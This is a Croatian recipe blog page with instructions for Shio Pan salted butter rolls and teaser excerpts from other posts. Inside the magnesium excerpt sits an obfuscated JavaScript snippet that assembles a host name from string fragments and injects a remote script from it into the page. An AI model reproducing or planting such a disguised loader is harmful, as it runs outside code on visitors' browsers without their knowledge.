SHIO PAN - KOREJSKA PECIVA





Shio Pan - korejska peciva 




Shio Pan je hrskavo japansko pecivo koje se opisuje kao spoj kroasana i mliječnog kruha - iznutra je mekano, a izvana ima zlatnu, slanu koricu koja hrskavost duguje maslacu.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Shio Pan 


Sastojci:

  • 14 g glatkog brašna
  • 60 ml vode
  • 155 ml mlijeka
  • 8 g soli
  • 310 g brašna za kruh (ili glatko brašno s više proteina)
  • 40 g šećera
  • 7 g instant suhog kvasca (1 vrećica)
  • 30 g maslaca, omekšanog i narezanog na kockice
  • 200 g hladnog maslaca (narezati na 8 komada po 25 g)
  • Krupna morska sol za posipanje

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Priprema:

  1. U malom loncu pjenjačom pomiješajte 14 g brašna i vodu. Zagrijavajte na laganoj vatri dok smjesa ne dosegne 65°C. Postupno umiješajte mlijeko u tankom mlazu, zatim dodajte sol i dobro sjedinite.
  2. U zdjeli miksera pomiješajte brašno za kruh, šećer i kvasac. Dodajte smjesu koju ste napravili od brašna, vode i mlijeka pa špatulom promiješajte dok ne dobijete grubu teksturu tijesta. Mijesite 1 minutu na niskoj brzini dok se tijesto ne počne povezivati.
  3. Dodajte omekšani maslac, kockicu po kockicu, dok mikser radi. Povećajte brzinu na srednju i miksajte 14–17 minuta dok se gluten ne razvije. Povremeno okrenite tijesto kako bi se ravnomjerno izmijesilo.
  4. Tijesto je spremno kada ga možete tanko razvući među prstima bez pucanja. Oblikujte kuglu i stavite u nauljenu zdjelu. Pokrijte i ostavite da se diže na toplom 1–1,5 sat, dok se ne udvostruči. Hladni maslac narežite na 8 jednakih komada (po 25 g) i držite u hladnjaku do upotrebe.
  5. Tijesto podijelite na 8 komada od po oko 75 g (ukupno oko 600 g). Oblikujte kuglice, pokrijte i ostavite da odmore 20 minuta. Zatim ih razvaljajte u oblik „mrkve“ – u valjak s jednim tanjim krajem. Ponovno pokrijte i ostavite 20 minuta.
  6. Razvaljajte širi kraj od sebe. Držeći uži kraj, povlačite prema sebi dok valjate. Cilj je dobiti oko 10 cm širine na najširem dijelu i oko 40 cm duljine. Po želji poravnajte rubove rezačem za pizzu.
  7. Na širi kraj stavite komad hladnog maslaca i zarolajte prema sebi.Položite na pleh obložen papirom za pečenje. Ostavite da se diže 1 sat na toplom. Spremno je kada su peciva vidno napuhana i mekana.
  8. Zagrijte pećnicu na: 190°C s ventilatorom ili 210°C bez ventilatora. Na dno pećnice stavite pleh s oko 2–3 cm vode (za paru). Svako pecivo poprskajte vodom i pospite krupnom soli. Pecite 19 minuta, nakon 15 minuta okrenite pleh. Ohladite 10 minuta — i uživajte!
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

LINZER PITA

Slika
Linzer pita  Slažemo se - blagdanski stol kao da nije potpun bez linzera. Ti prhki, nježno aromatični keksići jedni su od najstarijih europskih slastica koje su se zahvaljujući svojoj jednostavnosti i savršenom spoju prhkog tijesta i voćnog pekmeza održale sve do danas. Linzer pita  Sastojci: za tijesto: 350 g glatkog brašna 250 g maslaca 100 g šećera 2 vanilin šećera 1 jaje dodatno: pekmez ili marmelada (mi smo koristili pekmez od brusnice) šećer u prahu Priprema: Pobrinite se da su vam svi sastojci hladni, po mogućnosti i brašno. Od brašna, maslaca, šećera i jaja ručno umijesite tijesto. Podijelite ga u dva dijela. Zamotajte ga u prozirnu foliju i pustite da se jedan sat hladi u hladnjaku. Nakon toga razvaljate oba dijela u kvadratni oblik. Prvi dio prebacite u pleh, površinu bockajte vilicom. Preko cijelog donjeg dijela obilno stavite pekmez. Drugi dio tijesta izrežite na trake i dijagonalno složite preko pekmeza. Pecite oko 25 minuta u pećnici zagrijanoj na 180...
Pročitajte više